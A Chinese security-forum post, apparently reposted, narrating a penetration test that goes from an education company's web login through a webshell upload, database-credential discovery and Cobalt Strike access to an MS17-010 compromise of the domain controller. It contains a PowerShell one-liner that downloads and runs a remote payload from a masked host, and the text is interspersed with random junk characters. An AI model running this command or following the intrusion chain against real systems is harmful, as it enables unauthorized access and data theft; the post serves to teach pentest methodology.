找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2459|回复: 0
打印 上一主题 下一主题

渗透实战 | 从外网直接打到内网全过程

[复制链接]
跳转到指定楼层
楼主
发表于 2024-3-1 19:41:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

# p6 N7 C+ _* Q H" ` 这次渗透是一个从01,从外网到拿下域控的实战过程,希望可以给大家一些思路 + Q- W \; _ @) ] j' K

( L. n' ~+ F$ \7 u

. y; H* v6 N' W5 F' Q4 z   2 A" h# c' }/ h/ J6 u$ [. z& I

- I% g5 }4 Z4 ~! a4 V! c

$ p6 r2 V+ N( R7 {/ O) O 正文- m: [$ R! h! ?4 ]: }5 X

5 t4 @3 ?: ^1 m _5 L9 u

- N4 p/ G- A! A4 w/ |/ r2 g   6 J2 ]; z% i5 O K0 S

3 n. y7 c0 z! a- d7 S( k, d0 X

i. Y6 c3 f1 n1 K; z 目标:www.xxxx.com(一家教育机构)
, l6 Y( a) o: [0 s* F0 b& o
打开是一个登录框,只能是手机号+密码或者手机号+验证码且并未开放注册功能
1 f$ M# R& h. G0 T1 y

2 x' l# w2 I0 ]3 C- ]" K

0 [2 w& l: \' Q+ c! U, P vshapes=2 d6 V. e9 K! k$ u# D/ R

* `% @' C- h$ A' g3 x* ^

g1 I* \4 X" K+ n+ }4 ] 进行了简单的信息搜集
9 @" I6 `! |# b- K
L+ r6 A, Z: e2 m5 r; H9 `
% K1 \6 [ y, |( _

/ A' a' b g# H

$ ~) G7 n7 g' |4 h+ [8 R7 b* E 子域名搜集7 A7 f* e. l4 \+ N B ^$ u" }, ?

0 s1 g9 v( |2 F! d

7 y, ]4 n0 S2 f% A' s h vshapes= ' n9 G* p7 G( u/ H4 r9 y& F- b

3 w9 K, Q% u4 m" A/ h& x0 u2 i* O

5 a/ I) T) M# h. ~ fofa找资产
+ F5 M) ^. @8 S) K2 l$ v* |$ u
7 w; v. ~$ S6 S3 G
5 r5 _& K* ?3 C1 _: a" W# ~

, C W; q# w( y4 X. e8 W3 c

7 C" ?$ ^: U2 p r; m vshapes= 6 a4 S& m5 l/ O

' I# V* R# ^/ X( F5 \! R5 B

! `8 Z4 @2 R5 c# P3 I7 \+ \ 一共七个资产。去重之后只有两个。
, N* I, `0 \6 s; t
6 H/ v7 S; U2 M# G+ ], a; c4 I; c
- u0 c/ M' r1 T9 }

$ G" o7 p6 J/ x

|5 D) K6 A. ?4 i& g3 H2 c1 v 目录探测, f ?) j; ~5 `, Q0 r' ~

; n3 D2 w5 I: h. x; D' C6 M! a) |

6 `6 [$ p0 I7 z8 J1 | V vshapes= 6 a' U! F# l6 z) _$ ^

1 D5 c# D9 ?, p9 ^$ d$ o( _, \% P' c

l1 d; l. R: e s/ [ 我尝试了暴力枚举,看有没有弱口令之类的,然而并没有
# r! M, o7 d( |- ]/ Y
G8 Q( a* `% B7 _5 n, H! n4 t
1 {* h. X' t. W: P

9 T1 ]5 n7 |$ S$ D. d: p5 v* ]

5 X& a, F! u+ u6 M) m 我又尝试了通过修改返回包来绕过登录界面 3 Y n7 r" a U b9 \

9 V0 m! G9 L7 o, \. ]

$ X& L$ t& t, y& A$ ]5 L4 |' D vshapes=6 e) C, j. Y2 y1 k% W

( X- `8 O. y$ w5 L- d* @! s

% V' U U( C: q. |$ r% c 还是不行,尝试注入无果 5 a# d) ]5 i- \* M1 Y! i

+ ?, S7 T" o0 B* l5 Z

5 X2 A" o! |' V V. X0 y( |) a vshapes= + J* D2 z ~; c

5 l8 z! c( Y& u3 X3 F

% r3 ]/ l& O, v r* U 不过我目录探测出了一处Spring信息泄露
/ c0 C4 E/ \/ r9 [- w' d* }6 R
j. R7 f C0 ]
Q4 e( ?: p7 m" a

: z( Y/ D$ W8 J; a% Y( F8 |

8 Q, H4 P0 j! a8 |. h vshapes=+ F; B; i3 W/ T, X' ^4 K$ ^

/ i7 w& i# P0 N( l

" e3 x% h4 R8 I/ U. q* { 尝试Spring RCE无果,想通过trace目录下替换cookie实现登录,但是发现删除了这个目录 & E, `1 W1 j& q; g7 V+ h

6 p* a; f, X8 C7 E8 R/ R

8 Z0 `6 {0 P1 R- m! P# q vshapes= 4 Y s V8 T3 r) Y4 G8 P

4 m) Q' w/ J0 `7 z2 C" ]0 V2 x) T

! H- N o9 ?" V) o0 L% e6 L 后对公众号进行了简单的信息搜集,针对公众号搜集时,尽量找后面认证过的进行渗透。9 T/ _8 S* u; C

+ q% \2 E/ [: s6 B- {$ d* `

0 Z0 D" L& m. b5 c3 [ vshapes= L9 S! X) _7 G$ Z+ l

1 X' w3 ]) x. N2 Q

- f8 Q# \2 u/ U$ b 获取有些师傅到这一步就手机抓包电脑测了。/ T$ X V' m3 I% G: M# b( Y

. E" u! t6 m7 u+ M: Y

+ Z# @$ g, W+ k; x! ~9 A Windows新版微信可以抓取公众号和小程序的包,只需要把IE代理配置一下即可。 2 z8 X+ a3 _" X# [: y

/ }# Q( f! z$ ]

2 A4 b3 W8 B1 b* g 其中在一个公众号发现了小程序,可以进行注册。 ) K) G' s2 ^: |7 d7 d

, N: r* s3 J4 O& s F; w7 {

4 A( t) N) p1 {; E" j; c 看到了头像上传,尝试上传获取WebShell : f2 O4 V! z. b

" J4 z7 v, ?% m0 [) }; Y

7 q4 y4 W" I; y# |" B4 b" A vshapes=8 W/ p8 ]( D7 q$ x' w

* A5 t+ I) I! s5 X( W3 v7 V

* r) H' v- ^2 P& W- \ 未做任何限制成功GetShell,上了冰蝎马,目录没权限访问 - T/ K+ f/ o/ x& d( y( Q" ]' V

6 H# H5 |6 }+ n% o% ^# G: e+ j+ H

1 U8 o$ P( y/ c2 B( O9 t" F, Q vshapes=+ E7 X T7 `3 @: }1 I' w) W

. K- E3 y% ]. _4 O- x% D

: g3 p/ g8 l0 N$ }3 S- N 然后上了大马 4 {! f+ V1 M$ \

! Z$ H4 l2 b8 D9 b

9 i# |( L' u) J9 O" e vshapes= * Y, }% f% M- G& e+ [ `6 K

' R0 f; U# L8 |0 d% u4 T! `2 N

" h, X; h# a' x+ { vshapes=4 ` s' z9 Z7 O) `9 `

; E+ f) g4 m6 m" ]2 I8 q3 l: }

- l( [: G) @% \, ^ u6 Y7 A% e% e 通过翻找文件发现数据库账号密码 4 F# d9 G; |1 \

4 ^* J( h! `1 h

+ a0 Y7 B$ ?: e y+ U9 i( a8 b vshapes= & Q" |, f5 G' t* m$ T

) ?& {7 W( U( Y. |2 f8 s8 S

' T& P+ O" J g }) n3 ^% l2 e3 D. Z --内网渗透' x5 N' v, R5 T- j8 c, @

- W9 O7 n- o+ @* b$ p/ G2 }

/ n' u {! c8 T0 z1 s 直接通过powershell执行 cs上线 % X, e' ~4 i0 S( i+ ?7 A, _

6 r: k" ?4 ~1 t

i" n4 X" n( O powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))"% r, |, j) [ N/ z) v

# z2 a9 g4 Y4 V% N: b1 B

( {& `4 v1 G" V vshapes= / j+ {2 W$ h' _

% `3 Z: \/ W$ f" V1 |/ x3 ?5 G) u! N

* v1 ? E3 z. Z0 ^$ ?3 ~ 进入内网后,简单的进行一波信息收集,寻找域控并对服务器段进行弱口令爆破% `+ k7 m( b5 }7 C

, Y" a* l& K6 N. g$ J$ W: L ~

% a6 w& d* r. l p+ I% q vshapes=0 m( c9 T3 Z8 N* A0 [

+ K: R1 z) l: f8 H. e$ U" V& t6 _" A) K1 x

3 y* U, ]9 b- c, Q+ t# F- l 登录爆破出来的服务器,发现多网卡且存在逻辑隔离。
0 y8 a' g' |, ^4 q5 L$ i! g
: {- M1 G0 q. |
0 e3 Z7 H/ X- G1 ?2 A( v
9 Z0 G* ^! q" C, x) r) D

1 n8 P% X8 w& P

, m- N$ K& K; z# [: b K6 i6 Q vshapes= : e$ q, A* u- V. _5 Y5 E6 e

/ a9 q3 d. l" E* f% m# K1 @

" U: F8 S+ N# g$ w! t$ o) i 通过跳扳机能通域控,发现域控server2008且存在ms17010,直接一把梭
" U' N! E: m* |
) r: T. d; {$ R% n) P0 O
, H3 S8 w& x& H

4 O1 Y m" _5 }+ T% |

; G+ S9 U% ?- o+ m5 d vshapes=9 {9 b. T4 H) s5 O2 r& X6 ?* b

$ y& C2 Z7 c T1 B; w

) m( ?5 Y& H, u7 j1 _
, [4 e2 l* a1 u" r) d# v
' p) O" l8 z8 Z# D* R9 M
' r0 O" x( P% e

! C( G" {% N& U6 X3 ~9 K q) }

9 ~7 q7 u* Y4 b3 [( Z8 [  3 `7 {$ D9 \" {

5 ^& s+ j! i9 |3 N

M0 g* c: V; B5 f+ T8 {4 z8 @2 { 小结 - u) E, c2 x' y* E% N5 [/ w1 a

2 e+ W0 W; u/ T) n/ [# z9 G e- W

+ G0 P7 l l: ]' d  & r# b3 i7 f' t1 X& D4 G

$ S4 T* a% Q# t: ^6 k

1 B( i- ^6 H2 b: A 在渗透测试过程中,信息收集很重要,细心和耐心也是不可缺少的,总得来说,这次的渗透测试总的来说比较顺利,希望可以给大家带来一些思路!+ y' }% ?* T* a4 U: n

: K8 o2 `8 e% \3 g& Z

0 y$ j2 H/ Y8 A" l8 Y/ _. n  : S1 b& B" L0 h- P: J2 s

+ W- X2 i6 a/ Q8 O
    3 q% O+ j+ ?6 ~' H: B
  • 4 E7 {9 |" \' X; r7 ^3 f  - Z8 K% z a3 U; c6 \) Z
  • 1 L% Y, D. Q" h7 b' u
  • . }& Z% R6 O) B8 q  2 ]* v" K+ {/ p- y
  • # H2 `8 Y3 ]1 A, x* d, S
# D1 A. G' g2 c1 t

( k5 h# S' \9 b5 } 作者:Xm4FDf转载自:https://bbs.ichunqiu.com/thread-57879-1-1.html Q8 m, ~6 r5 K1 T3 A, O) @2 d

1 i2 S3 m9 ~7 g+ R) K, t" Q

1 {8 | s9 P8 Z, X4 q* x  $ g! Z- H9 h9 c; I5 V' X

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表